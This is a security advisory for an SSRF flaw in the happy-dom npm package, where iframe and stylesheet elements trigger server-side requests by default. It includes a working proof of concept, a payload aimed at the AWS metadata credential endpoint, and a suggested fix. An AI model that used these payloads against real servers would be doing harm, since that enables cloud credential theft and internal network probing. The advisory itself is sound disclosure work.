GHSA-c8p4-j97h-3vg8

    Dashboard / Vulnerabilities / GHSA-c8p4-j97h-3vg8

    GHSA-c8p4-j97h-3vg8

    Published: 28 Oct 2026Last Modified: 28 Oct 2026

    Summary: Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

    Details: ## Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ## Affected Versions - happy-dom <= 20.8.9 (latest) ## Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ## Proof of Concept ### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. ### Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>'); ``` ## Impact - **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata - **Internal network scanning** — probe internal services and ports - **Data exfiltration** — read responses from internal APIs - **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input ## Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

    Affected packages

    Package

    Name: happy-dom

    Purl: pkg:npm/happy-dom

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -21.0.0

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-c8p4-j97h-3vg8 | CVE-DB